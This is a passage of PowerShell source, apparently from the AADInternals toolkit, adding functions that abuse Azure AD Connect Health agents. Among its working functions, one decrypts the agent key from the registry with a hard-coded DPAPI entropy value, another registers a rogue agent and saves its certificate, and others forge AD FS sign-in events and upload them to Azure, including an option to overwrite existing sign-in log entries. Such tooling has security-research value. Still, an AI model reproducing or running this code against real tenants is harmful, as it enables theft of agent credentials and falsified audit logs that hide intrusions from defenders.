[Parameter(ParameterSetName='AgentInfo',Mandatory=$True)]
[psobject]$AgentInfo
)
Process
{
if($AgentInfo)
{
$AgentKey = $AgentInfo.AgentKey
$TenantId = $AgentInfo.TenantId
$MachineId = $AgentInfo.MachineId
$ServiceId = $AgentInfo.ServiceId
}
# Get the service access token and the needed keys
$serviceAccessToken = Get-HybridHealthServiceAccessToken -AgentKey $AgentKey -MachineId $MachineId -TenantId $TenantId
$BlobKey = Get-HybridHealthServiceBlobUploadKey -AccessToken $serviceAccessToken -ServiceId $ServiceId
$EventPublisherKey = Get-HybridHealthServiceEventHubPublisherKey -AccessToken $serviceAccessToken -ServiceId $ServiceId
# Convert the events to json and compress
$content = ConvertTo-Json -InputObject $Events
$encContent = Get-CompressedByteArray -byteArray ([text.encoding]::UTF8.GetBytes($content))
# Calculate MD5 for the compressed content
$md5 = [System.Security.Cryptography.MD5]::Create()
$bodyMD5 = $md5.ComputeHash($encContent)
# Construct headers for uploading the blob
$id = (New-Guid).ToString()
$headers = @{
"User-Agent" = "Azure-Storage/8.2.0 (.NET CLR 4.0.30319.42000; Win32NT 10.0.17763.0)"
"x-ms-version" = "2017-04-17"
"Content-MD5" = Convert-ByteArrayToB64 -Bytes $bodyMD5
"x-ms-blob-type" = "BlockBlob"
"x-ms-client-request-id" = $id
}
# Construct the url
$BlobUrl = $BlobKey.Replace("?","/$($id).json?")
$BlobUrl += "&api-version=2017-04-17"
# Send the blob to Azure
try
{
$response = Invoke-RestMethod -UseBasicParsing -Method Put -Uri $BlobUrl -Headers $headers -Body ([byte[]]$encContent)
}
catch
{
return
}
#
# Create the HMAC signature for the servicebus message (this is funny)
#
# First, an SHA512 hash is calculated from the AgentKey.
# Agent key is a B64 string of the binary key, but the hash is calculated from the string.
# The hash is converted to hex string.
[System.Security.Cryptography.SHA512] $sha = [System.Security.Cryptography.SHA512]::Create()
$bKey = Convert-ByteArrayToHex -Bytes $sha.ComputeHash([text.encoding]::ASCII.getBytes($AgentKey))
# Second, the signing key is derived by calculating HMACSHA512 by converting the hex array to binary by decoding it as B64 ???!?
$cKey = Convert-B64ToByteArray -B64 $bKey.ToUpper()
$hmac = [System.Security.Cryptography.HMACSHA512]::new($cKey)
# Get elements needed for the signature
$BlobUrl = $BlobUrl.Split("?")[0]
$signingTime = Get-Date
$dateString = $signingTime.ToUniversalTime().ToString("s", [cultureinfo]::InvariantCulture)
# Form the string to be signed and calculate the signature.
$stringToSign="$tenantId,$serviceId,$machineId,Adfs-UsageMetrics,$BlobUrl,$dateString"
$HMACSignature = Convert-ByteArrayToB64 -Bytes $hmac.ComputeHash([text.encoding]::Unicode.GetBytes($stringToSign))
# Send the signature to Azure via service bus
Send-ADFSServiceBusMessage -EventHubPublisherKey $EventPublisherKey -BlobAbsoluteUri $BlobUrl -TenantId $TenantId -MachineId $MachineId -ServiceId $ServiceId -SigningTime $signingTime -HMACSignature $HMACSignature
}
}
# Registers a new HybridHealthServiceAgent
# Jun 7th 2021
function Register-HybridHealthServiceAgent
{
<#
.SYNOPSIS
Registers a new ADHybridHealthService agent to the given service.
.DESCRIPTION
Registers a new ADHybridHealthService agent to the given service.
Saves the agent info and client certificates to the current directory.
Files are named: <ServiceName>_<TenantId>_<ServiceMemberId>_<MachineName>.xxx where xxx is json for Agent info and pfx for the certificate.
.Example
PS C:\>Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
PS C:\>Get-AADIntHybridHealthServices -Service AdFederationService | ft serviceName
serviceName
-----------
AdFederationService-sts.company.com
AdFederationService-sts.contoso.com
PS C:\>Register-AADIntHybridHealthServiceAgent -ServiceName "AdFederationService-sts.company.com" -MachineName "SERVER2" -MachineRole AdfsProxy_2016
Agent info saved to "AdFederationService-sts.company.com_0a959715-0d39-4409-bcc9-2c6ff5aa7a37_f5e349d6-67fd-4f11-b489-d98980aa6cab_SERVER2.json"
Client sertificate saved to "AdFederationService-sts.company.com_0a959715-0d39-4409-bcc9-2c6ff5aa7a37_f5e349d6-67fd-4f11-b489-d98980aa6cab_SERVER2.pfx"
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$ServiceName,
[Parameter(Mandatory=$True)]
[string]$MachineName,
[Parameter(Mandatory=$False)]
[ValidateSet("AdfsServer_2x","AdfsProxy_2x","AdfsServer_21","AdfsProxy_21","AdfsServer_30","AdfsProxy_30","AdfsServer_2016","AdfsProxy_2016")]
[String]$MachineRole="AdfsServer_2016",
[ValidateSet("Healthy","NotMonitored")]
[String]$Status = "Healthy"
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Generate machine id
$MachineId = New-Guid
# Extract the tenant id from the
[guid]$TenantId = (Read-Accesstoken -AccessToken $AccessToken).tid
# Add new service member
$serviceMember = New-HybridHealthServiceMember -AccessToken $AccessToken -ServiceName $ServiceName -MachineId $MachineId -MachineName $MachineName -MachineRole $MachineRole
Write-Verbose "Added new service member:"
Write-Verbose $serviceMember
# Get the agent credentials
$agentCredentials = Get-HybridHealthServiceMemberCredentials -AccessToken $AccessToken -ServiceName $ServiceName -ServiceMemberId $serviceMember.serviceMemberId
$tenantCertificate = $agentCredentials.'tenant.cert'
Write-Verbose "Received a new tenant certificate: $($tenantCertificate.Subject)"
Write-Verbose "AgentKey: $($agentCredentials.AgentKey)"
# Invoke the request to get the client certificate
Write-Verbose "Registering the agent using tenant certificate."
[xml]$response = Invoke-RestMethod -UseBasicParsing -Uri "https://policykeyservice.dc.ad.msft.net/clientregistrationmanager.svc/ClientRegistration/$($TenantId.toString())/$MachineName/$($MachineId.toString())" -Certificate $TenantCertificate
# Strip CRLF and convert to byte array
$bCert = Convert-B64ToByteArray -B64 $response.AgentSetupConfiguration.ClientCertificate.Replace("`r`n","")
$agentCert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new([byte[]]$bCert)
Write-Verbose "Received a new agent certificate: $($agentCert.Subject)"
$agentInfo=[ordered]@{
"AgentKey" = $agentCredentials.AgentKey
"TenantId" = $TenantId
"ServiceId" = $serviceMember.serviceId
"ServiceMemberId" = $serviceMember.serviceMemberId
"MachineId" = $MachineId
"Server" = $MachineName
}
# Save agent info and certificates to disk
$fileName = "$($ServiceName)_$($TenantId.toString())_$($MachineId.toString())_$MachineName"
Set-BinaryContent -Path "$fileName.pfx" -Value $bCert
$agentInfo | ConvertTo-Json | Set-Content "$fileName.json" -Encoding UTF8
Write-Host "Agent info saved to ""$fileName.json"""
Write-Host "Client sertificate saved to ""$fileName.pfx"""
}
}
+867
View File
@@ -0,0 +1,867 @@
# Gets ADHybridHealthService member credentials
# May 26th 2021
function Get-HybridHealthServiceMemberCredentials
{
<#
.SYNOPSIS
Gets ADHybridHealthService member credentials
.DESCRIPTION
Creates and returns new ADHybridHealthService member credentials
.Parameter AccessToken
The access token used to get ADHybridHealthService members.
.Parameter ServiceName
Name of the ADHybridHealthService
.Parameter ServiceMemberId
Guid of the service member.
.Example
Get-AADIntHybridHealthServiceMemberCredentials -ServiceName AdFederationService-sts.company.com -MemberId 0fce7ce0-81a0-4bf7-87fb-fc787dfe13c2
lastReboot : 2021-03-16T08:17:19.0912Z
lastDisabled :
lastUpdated : 2021-05-06T06:04:20.6537234Z
activeAlerts : 2
resolvedAlerts : 1
createdDate : 0001-01-01T00:00:00
disabled : False
dimensions :
additionalInformation :
tenantId : 5b53828e-8e7b-42d1-a5f0-9b34bbd1844a
serviceId : 50abc8f3-243a-4ac1-a3fb-712054d7334b
serviceMemberId : bec07a23-dd4a-4c80-8c92-9b9dc089f75c
machineId : 0cf2774f-a188-4bd3-b4b3-3a690374325d
machineName : STS01
role : AdfsServer_2016
status : Error
properties :
installedQfes :
recommendedQfes :
monitoringConfigurationsComputed :
monitoringConfigurationsCustomized :
osVersion : 10.0.17763.0
osName : Microsoft Windows Server 2019 Standard
disabledReason : 0
serverReportedMonitoringLevel :
lastServerReportedMonitoringLevelChange :
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$ServiceName,
[Parameter(Mandatory=$True)]
[guid]$ServiceMemberId
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
}
# Invoke the command
$response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://management.azure.com/providers/Microsoft.ADHybridHealthService/services/$ServiceName/servicemembers/$($ServiceMemberId.toString())/credentials?api-version=2014-01-01" -Headers $headers
# Return credentials
$creds = [ordered]@{}
foreach($cred in $response)
{
# Decode the certificate
if($cred.identifier -eq "tenant.cert")
{
$bCert = Convert-B64ToByteArray -B64 $cred.credentialData
# Strip the header if exists
if($bcert[0] -eq 0x01)
{
# First 4 bytes = format
# Next 4 bytes = length of the string like "policykeyservice.dc.ad.msft.net"
# Total header length = 4 + 4 + length
$length = [bitconverter]::ToInt32($bCert[4..7],0)
$bCert = $bCert[(4+4+$length)..($bcert.length)]
}
$creds[$cred.identifier] = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new([byte[]]$bCert)
}
else
{
$creds[$cred.identifier] = $cred.credentialData
}
}
return New-Object psobject -Property $creds
}
}
# Gets ADHybridHealthService access token
# May 26th 2021
function Get-HybridHealthServiceAccessToken
{
<#
.SYNOPSIS
Gets ADHybridHealthService access token
.DESCRIPTION
Returns ADHybridHealthService access token
.Parameter AgentKey
AgentKey of the ADHybridHealthService agent
.Parameter MachineID
MachineID of the computer running the ADHybridHealthService agent
.Parameter TenantID
Tenant ID.
.Example
$at = Get-AADIntHybridHealthServiceAccessToken -AgentKey $agentKey -TenantId $tenantId -MachineId $machineId
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AgentKey,
[Parameter(Mandatory=$True)]
[guid]$MachineId,
[Parameter(Mandatory=$True)]
[guid]$TenantId
)
Process
{
# Build a body
$body=@{
"grant_type" = "client_credentials"
"client_secret" = $AgentKey
"client_id" = "$($TenantId.ToString())_$($MachineId.ToString())"
}
# Invoke the command
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://s1.adhybridhealth.azure.com/oauth2/token" -Body $body
return $response.access_token
}
}
# Gets ADHybridHealthService Blob upload key
# May 26th 2021
function Get-HybridHealthServiceBlobUploadKey
{
<#
.SYNOPSIS
Gets ADHybridHealthService blob upload key
.DESCRIPTION
Gets ADHybridHealthService blob upload key. The key is an url used to upload events to Azure blob. Url contains pre-calcuated SAS token.
.Parameter AccessToken
The access token used to get ADHybridHealthService blob upload key.
.Parameter ServiceID
ServiceID
.Example
Get-HybridHealthServiceBlobUploadKey -AccessToken $at -ServiceId $serviceId
https://adhsprodweuaadsynciadata.blob.core.windows.net/adfederationservice-8c11e4fb-299c-42c0-b79a-555c33964b58?sv=2018-03-28&sr=c&sig=pZ056YDtl8iK9PjiNoQED6tLHd3h0EkwDlHY%2Bxf8Znc%3D&se=2021-05-24T06%3A32%3A18Z&sp=w
.Example
$blobKey = Get-AADIntHybridHealthServiceBlobUploadKey -AccessToken $at -ServiceId $serviceId
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[guid]$ServiceId
)
Process
{
$headers = @{
"Authorization" = "Bearer $AccessToken"
}
# Invoke the command
$response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://s1.adhybridhealth.azure.com/providers/Microsoft.ADHybridHealthService/monitoringpolicies/$($ServiceId.ToString())/keys/BlobUploadKey" -Headers $headers
# Return upload key
$response
}
}
# Gets ADHybridHealthService event hub publisher key
# May 29th 2021
function Get-HybridHealthServiceEventHubPublisherKey
{
<#
.SYNOPSIS
Gets ADHybridHealthService event hub publisher key
.DESCRIPTION
Gets ADHybridHealthService event hub publisher key. The key includes Service Bus endpoint and SharedAccessSignature.
.Parameter AccessToken
The access token used to get ADHybridHealthService event hub publisher key.
.Parameter ServiceID
ServiceID
.Example
Get-AADIntHybridHealthServiceEventHubPublisherKey -AccessToken $at -ServiceId $serviceId
Endpoint=sb://adhsprodweuehadfsia.servicebus.windows.net/;SharedAccessSignature=SharedAccessSignature sr=sb%3a%2f%2fadhsprodweuehadfsia.servicebus.windows.net%2fadhsprodweuehadfsia%2fPublishers%2f8c77dad6-9932-4bfe-bf9e-58734ccb3e2c&sig=XRKxI%2bR7LEe4pBxe4OZt86dzFxIvSsyqs0UPmlO3hFM%3d&se=1622788339&skn=RootManageSharedAccessKey;EntityPath=adhsprodweuehadfsia;Publisher=8c77dad6-9932-4bfe-bf9e-58734ccb3e2c
.Example
$eventKey = Get-AADIntHybridHealthServiceEventHubPublisherKey -AccessToken $at -ServiceId $serviceId
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[guid]$ServiceId
)
Process
{
$headers = @{
"Authorization" = "Bearer $AccessToken"
}
# Invoke the command
$response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://s1.adhybridhealth.azure.com/providers/Microsoft.ADHybridHealthService/monitoringpolicies/$($ServiceId.ToString())/keys/EventHubPublisherKey" -Headers $headers
# Return upload key
$response
}
}
# Send the signature to Azure using service bus
# May 26th 2021
function Send-ADFSServiceBusMessage
{
[cmdletbinding()]
param(
[Parameter(Mandatory=$True)]
[String]$EventHubPublisherKey,
[Parameter(Mandatory=$True)]
[String]$BlobAbsoluteUri,
[Parameter(Mandatory=$True)]
[guid]$MachineId,
[Parameter(Mandatory=$True)]
[guid]$TenantId,
[Parameter(Mandatory=$True)]
[guid]$ServiceId,
[Parameter(Mandatory=$True)]
[datetime]$SigningTime,
[Parameter(Mandatory=$True)]
[String]$HMACSignature
)
Try
{
# Define some needed variables
$keyParts = $EventHubPublisherKey.Split(";")
$endpoint = $keyParts[0].Substring($keyParts[0].IndexOf("=")+1).Replace("sb:","wss:")
$url = "$endPoint$`servicebus/websocket"
$SAS = $keyParts[1].Substring($keyParts[1].IndexOf("=")+1)
$entityPath = $keyParts[2].Substring($keyParts[2].IndexOf("=")+1)
$publisher = $keyParts[3].Substring($keyParts[3].IndexOf("=")+1)
$SASName = "$($endpoint.Replace("wss:","amqp:"))$entitypath/Publishers/$publisher"
# Define headers for the first request
$headers = @{
"Connection" = "Upgrade"
"Upgrade" = "websocket"
"Sec-WebSocket-Key" = [convert]::ToBase64String((New-Guid).ToByteArray())
"Sec-WebSocket-Version" = "13"
"Sec-WebSocket-Protocol" = "AMQPWSB10"
"User-Agent" = ""
}
# Create the socket
$socket = New-Object System.Net.WebSockets.ClientWebSocket
# Add AMQPWSB10 as sub protocol
$socket.Options.AddSubProtocol("AMQPWSB10")
# Create the token and open the connection
$token = New-Object System.Threading.CancellationToken
Write-Verbose "Opening websocket: $url"
$connection = $socket.ConnectAsync($url, $token)
While (!$connection.IsCompleted) { Start-Sleep -Milliseconds 100 }
if($connection.IsFaulted -eq "True")
{
Write-Error $connection.Exception
return
}
# Send the first AMQP message
SendToSocket -Socket $socket -Token $token -Bytes @(
0x41, 0x4D, 0X51, 0X50, # AMQP
0x03, # Protocol = SASL
0x01, # Major
0x00, # Minor
0x00)
# Receive response for the first AMQP message
$message = Parse-BusMessage (ReadFromSocket -Socket $socket -Token $token -ArraySize 100)
# Receive SASL mechanism
$message = Parse-BusMessage (ReadFromSocket -Socket $socket -Token $token -ArraySize 100)
# Send SASL Init (external)
SendToSocket -Socket $socket -Token $token -Bytes (New-SASLInit)
# Receive Welcome!
$message = Parse-BusMessage (ReadFromSocket -Socket $socket -Token $token -ArraySize 100)
# Send AMQP init
SendToSocket -Socket $socket -Token $token -Bytes @(
0x41, 0x4D, 0X51, 0X50, # AMQP
0x00, # Protocol
0x01, # Major
0x00, # Minor
0x00) # Revision
# Receive AMQP init response
$message = Parse-BusMessage (ReadFromSocket -Socket $socket -Token $token -ArraySize 100)
# Send AMQP Open
$id = Convert-ByteArrayToHex (Get-RandomBytes -Bytes 16)
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPOpen -ContainerId $id -HostName ($endpoint.Split("/")[2]))
# Receive AMQP Open response
$message = Parse-BusMessage (ReadFromSocket -Socket $socket -Token $token -ArraySize 100)
# Send AMQP Begin
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPBegin)
# Receive AMQP Begin response
$message = Parse-BusMessage (ReadFromSocket -Socket $socket -Token $token -ArraySize 100)
# Generate the name for Attach message
$targetNumber = Get-Random -Minimum 1000 -Maximum 65000
$name = "duplex$($targetNumber):$($targetNumber+2):$($targetNumber+3):"
$source = '$cbs'
# Send AMQP Attach (out)
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPAttachADFS -Handle 0 -Direction out -Name "$($name)sender" -Target $source)
# Receive AMQP Attach (out)
$message = Parse-BusMessage (ReadFromSocket -Socket $socket -Token $token -ArraySize 250)
# Receive AMQP Flow
$message = Parse-BusMessage (ReadFromSocket -Socket $socket -Token $token -ArraySize 100)
# Send AMQP Attach (in)
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPAttachADFS -Handle 1 -Direction in -Name "$($name)receiver" -Target $id -Source $source)
# Receive AMQP Attach (in)
$message = Parse-BusMessage (ReadFromSocket -Socket $socket -Token $token -ArraySize 250)
# Send AMQP Flow
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPFlow)
# Send SAS key
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPTransferADFSSAS -Name $SASName -Handle 0 -Id $id -SharedAccessSignature $SAS)
$message = Parse-BusMessage (ReadFromSocket -Socket $socket -Token $token -ArraySize 1000)
# Send another attach for the insights
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPAttachADFS2 -Handle 2 -Name "$((New-Guid).ToString().replace('-',''));$($targetNumber):$($targetNumber+1):$($targetNumber+6)" -Target "$entitypath/Publishers/$publisher")
$message = Parse-BusMessage (ReadFromSocket -Socket $socket -Token $token -ArraySize 1000)
# Send the Insights message signature
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPTransferADFSInsights -Handle 2 -TenantId $TenantId -MachineId $MachineId -ServiceId $ServiceId -BlobUri $BlobAbsoluteUri -SigningTime $SigningTime -HmacSignature "$HMACSignature")
# Close the channels
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPDetach -Handle 0)
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPDetach -Handle 1)
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPDetach -Handle 2)
# Close the bus
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPEnd)
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPClose)
}Finally{
If ($socket) {
Write-Verbose "Closing websocket"
$socket.Dispose()
}
}
}
# Gets ADHybridHealthService agent information from the local computer
# May 26th 2021
function Get-HybridHealthServiceAgentInfo
{
<#
.SYNOPSIS
Gets ADHybridHealthService agent information from the local computer.
.DESCRIPTION
Gets ADHybridHealthService agent information from the local computer.
.Parameter Service
Which service's agent information to return. Can be one of "ADFS" or "Sync". Defaults to ADFS.
.Example
PS C:\>Get-AADIntHybridHealthServiceAgentInfo
AgentKey : 6Fk9SiL[redacted]Hw==
TenantId : 5d898b21-4478-4ee0-a2be-ad4dfb540b09
ServiceId : 59f626ab-92cd-4658-b12f-12a604f5f1c2
ServiceMemberId : 0bfc0715-1ed2-44c7-89ec-bf7842cc4575
ClientId : 0d88eaa8-08a4-4b2c-b5ce-49a9ea02d1d7
MachineId : 279a0323-4647-494c-ac3a-fc13545f3c33
#>
[cmdletbinding()]
Param(
[ValidateSet("ADFS","Sync")]
[String]$Service="ADFS"
)
Begin
{
# Add the required assembly and entropy
Add-Type -AssemblyName System.Security
$entropy = [text.encoding]::Unicode.getBytes("ra4k1Q0qHdYSZfqGxgnFB3c6Z025w4IU")
}
Process
{
$attributes = [ordered]@{}
try
{
# Decrypt the agent key
$encAgentKey = Convert-B64ToByteArray -B64 (Get-ItemPropertyValue -Path "HKLM:\SOFTWARE\Microsoft\ADHealthAgent" -Name "AgentKey")
$attributes["AgentKey"] = Convert-ByteArrayToB64 -Bytes ([Security.Cryptography.ProtectedData]::Unprotect([byte[]]$encAgentKey, $entropy, 'CurrentUser'))
# Get other relevant agent information
$attributes["TenantId"] = Get-ItemPropertyValue -Path "HKLM:\SOFTWARE\Microsoft\ADHealthAgent" -Name "TenantId"
$attributes["ServiceId"] = Get-ItemPropertyValue -Path "HKLM:\SOFTWARE\Microsoft\ADHealthAgent\$Service" -Name "ServiceId"
$attributes["ServiceMemberId"] = Get-ItemPropertyValue -Path "HKLM:\SOFTWARE\Microsoft\ADHealthAgent\$Service" -Name "ServiceMemberId"
$attributes["ClientId"] = Get-ItemPropertyValue -Path "HKLM:\SOFTWARE\Microsoft\ADHealthAgent\$Service" -Name "ClientId"
$attributes["MachineId"] = Get-ItemPropertyValue -Path "HKLM:\SOFTWARE\Microsoft\Microsoft Online\Reporting\MonitoringAgent" -Name "MachineIdentity"
$attributes["Server"] = $env:COMPUTERNAME
}
catch
{
Throw "Must be run as Local Administrator and on the computer where the agent is installed!`nGot error: $($_.Exception.Message)"
}
# Return
New-Object -TypeName psobject -Property $attributes
}
}
# Create a fake hybrid health service event
# May 26th 2021
function New-HybridHealtServiceEvent
{
<#
.SYNOPSIS
Creates a new ADHybridHealthService event.
.DESCRIPTION
Creates a new ADHybridHealthService event with the given parameters.
.Parameter UniqueID
Unique ID of the event. Provide existing Request ID from the sign-in log to overwrite.
.Parameter Server
Server name of the AD FS server.
.Parameter EventType
Event type. Can be one of "NotSet","AppToken","FreshCredential","System","Discovery","Signout","PwdChange","DeviceReg","Resource","Config","ExtranetLockout".
Defaults to AppToken.
.Parameter PrimaryAuthentication
The list of authentication methods. Can be a combination of "NotSet","Forms","Windows","Certificate","Device","Multifactor","Sso","Federated"
Seems to always require "Sso". Defaults to "Forms","Sso"
.Parameter RequiredAuthType
Requires authentication type. Can be one of "NotSet","Primary","Secondary".
Defaults to Primary
.Parameter RelayingParty
Relaying party. Defaults to "urn:federation:MicrosoftOnline"
.Parameter RelyingPartyName
Display Name of the relaying party.
.Parameter Result
Was the authentication successful or not. Defaults to $True
.Parameter DeviceAuthentication
Was device authentication used or not. Defaults to $False
.Parameter URL
Url. Defaults to "/adfs/ls"
.Parameter User
Some user id number. Defaults to 666
.Parameter UserId
User Id. Defaults to empty.
.Parameter UserIdType
User Id type. Can be one of "AnchorID","UPN","WindowsAccountName","PrimarySID","NameID","Email","Name","NotSet"
Defaults to AnchorID
.Parameter UPN
User Principal Name of the user.
.Parameter Timestamp
Login time. Defaults to current time.
.Parameter Protocol
Authentication protocol used. Can be one of "NotSet","WSFederation","WSFedSamlP","OAuth","SAMLP","WSTrust","MSAdfsPIP","MSISHTTP"
Defaults to WSFederation. If OAuth is used, the client id can be provided.
.Parameter NetworkLocationType
Network type, can be one of "NotSet","Intranet","Extranet"
Defaults to Intranet. If Extranet is used, Azure AD shows geo location.
.Parameter AppTokenFailureType
Reason for login failure. Can be one of "NotAFailure","UPError","LockoutError","ExpiredPassword","DisabledAccount","DeviceAuthError","UserCertAuthError","IssuanceAuthZError","MFAError","ExtranetLockoutError","LogoutError","CredentialValidationError","OtherCredentialError","IssuanceDelegationError","TokenAcceptanceError","ProtocolError","WsFedRequestFailure","InvalidRelyingPartyError","InvalidClientApplicationError","GenericError","OtherError"
Defaults to NotAFailure
.Parameter IPAddress
Ip address of the user.
.Parameter ClaimsProvider
Claims provider.
Defaults to empty.
.Parameter OAuthClientID
Client ID used in OAuth login.
Defaults to empty.
.Parameter OAuthTokenRetrievalMethod
OAuth token retrieval method.
Defaults to empty.
.Parameter MFA
MFA provider used to perform MFA.
Defaults to empty.
.Parameter MFAProviderErrorCode
Error code provided by the MFA provider.
Defaults to empty.
.Parameter .ProxyServer
Proxy server.
Defaults to empty.
.Parameter Endpoint
AD FS endpoint.
Defaults to "/adfs/ls/"
.Parameter UserAgent
UserAgent.
Defaults to "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36",
.Parameter DeviceID
Device ID used during the login. Can be any device from Azure AD.
Defaults to empty.
.Parameter ErrorHitCount
Number of login errors.
Defaults to 0.
.Parameter X509CertificateType
Type of X509 Certificate.
Defaults to empty.
.Parameter $MFAAuthenticationType
MFA authentication type.
Defaults to empty.
.Parameter ActivityId
Activity Id of the event.
Defaults to random guid.
.Parameter ActivityIdAutoGenerated
Is Activity Id automatically generated or not. Defaults to $False
.Parameter PrimarySid
The primary SID of the user.
Defaults to empty.
.Parameter ImmutableId
Immutable Id of the user. Base 64 encoded GUID of the user's AD object.
Defaults to empty.
.Example
PS C:\>$events = @()
PS C:\>$events += (New-AADIntHybridHealtServiceEvent -Server "Server" -UPN "user@company.com" -IPAddress "192.168.0.2")
PS C:\>Send-AADIntHybridHealthServiceEventBlob -BlobKey $blobKey -TenantId $tenantId -MachineId $machineId -ServiceId $serviceId -EventPublisherKey $eventKey -Events $events
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[guid]$UniqueID = (New-Guid),
[Parameter(Mandatory=$True)]
[String]$Server,
[Parameter(Mandatory=$False)]
[ValidateSet("NotSet","AppToken","FreshCredential","System","Discovery","Signout","PwdChange","DeviceReg","Resource","Config","ExtranetLockout")]
[String]$EventType = "AppToken",
[Parameter(Mandatory=$False)]
[ValidateSet("NotSet","Forms","Windows","Certificate","Device","Multifactor","Sso","Federated")]
[String[]]$PrimaryAuthentication = @("Forms","Sso"),
[Parameter(Mandatory=$False)]
[ValidateSet("NotSet","Primary","Secondary")]
[String]$RequiredAuthType = "Primary",
[Parameter(Mandatory=$False)]
[String]$RelyingParty = "urn:federation:MicrosoftOnline",
[Parameter(Mandatory=$False)]
[String]$RelyingPartyName = "",
[Parameter(Mandatory=$False)]
[bool]$Result = $True,
[Parameter(Mandatory=$False)]
[bool]$DeviceAuthentication = $False,
[Parameter(Mandatory=$False)]
[String]$URL = "/adfs/ls",
[Parameter(Mandatory=$False)]
[int]$User = 666,
[Parameter(Mandatory=$False)]
[String]$UserId,
[Parameter(Mandatory=$False)]
[ValidateSet("AnchorID","UPN","WindowsAccountName","PrimarySID","NameID","Email","Name","NotSet")]
[String]$UserIdType = "AnchorID",
[Parameter(Mandatory=$True)]
[String]$UPN,
[Parameter(Mandatory=$False)]
[datetime]$Timestamp = (Get-Date),
[Parameter(Mandatory=$False)]
[ValidateSet("NotSet","WSFederation","WSFedSamlP","OAuth","SAMLP","WSTrust","MSAdfsPIP","MSISHTTP")]
[String]$Protocol = "WSFederation",
[Parameter(Mandatory=$False)]
[ValidateSet("NotSet","Intranet","Extranet")]
[String]$NetworkLocationType = "Intranet",
[Parameter(Mandatory=$False)]
[ValidateSet("NotAFailure","UPError","LockoutError","ExpiredPassword","DisabledAccount","DeviceAuthError","UserCertAuthError","IssuanceAuthZError","MFAError","ExtranetLockoutError","LogoutError","CredentialValidationError","OtherCredentialError","IssuanceDelegationError","TokenAcceptanceError","ProtocolError","WsFedRequestFailure","InvalidRelyingPartyError","InvalidClientApplicationError","GenericError","OtherError")]
[String]$AppTokenFailureType = "NotAFailure",
[Parameter(Mandatory=$True)]
[String]$IPAddress,
[Parameter(Mandatory=$False)]
[String]$ClaimsProvider,
[Parameter(Mandatory=$False)]
[String]$OAuthClientID,
[Parameter(Mandatory=$False)]
[String]$OAuthTokenRetrievalMethod,
[Parameter(Mandatory=$False)]
[String]$MFA,
[Parameter(Mandatory=$False)]
[String]$MFAProviderErrorCode,
[Parameter(Mandatory=$False)]
[String]$ProxyServer,
[Parameter(Mandatory=$False)]
[String]$Endpoint = "/adfs/ls/",
[Parameter(Mandatory=$False)]
[String]$UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36",
[Parameter(Mandatory=$False)]
[String]$DeviceID,
[Parameter(Mandatory=$False)]
[int]$ErrorHitCount = 0,
[Parameter(Mandatory=$False)]
[String]$X509CertificateType,
[Parameter(Mandatory=$False)]
[String]$MFAAuthenticationType,
[Parameter(Mandatory=$False)]
[guid]$ActivityId = (New-Guid),
[Parameter(Mandatory=$False)]
[bool]$ActivityIdAutoGenerated = $False,
[Parameter(Mandatory=$False)]
[String]$PrimarySid,
[Parameter(Mandatory=$False)]
[String]$ImmutableId
)
Begin
{
$ADFSEventTypes = [ordered]@{
"NotSet" = 0
"AppToken" = 1 # Normal login
"FreshCredential" = 2
"System" = 4
"Discovery" = 8
"Signout" = 16
"PwdChange" = 32
"DeviceReg" = 64
"Resource" = 128
"Config" = 256
"ExtranetLockout" = 512
}
$ADFSAuthTypes = [ordered]@{
"NotSet" = 0
"Forms" = 1
"Windows" = 2
"Certificate" = 4
"Device" = 8
"Multifactor" = 16
"Sso" = 32
"Federated" = 64
}
$ADFSRequiredAuthType = [ordered]@{
"NotSet" = 0
"Primary" = 1
"Secondary" = 2
}
$UserIdTypes = [ordered]@{
"AnchorID" = 10
"UPN" = 20
"WindowsAccountName" = 30
"PrimarySID" = 40
"NameID" = 50
"Email" = 60
"Name" = 70
"NotSet" = 1000
}
$ADFSProtocolTypes = [ordered]@{
"NotSet" = 0
"WSFederation" = 2
"WSFedSamlP" = 4
"OAuth" = 10
"SAMLP" = 20
"WSTrust" = 30
"MSAdfsPIP" = 40
"MSISHTTP" = 50
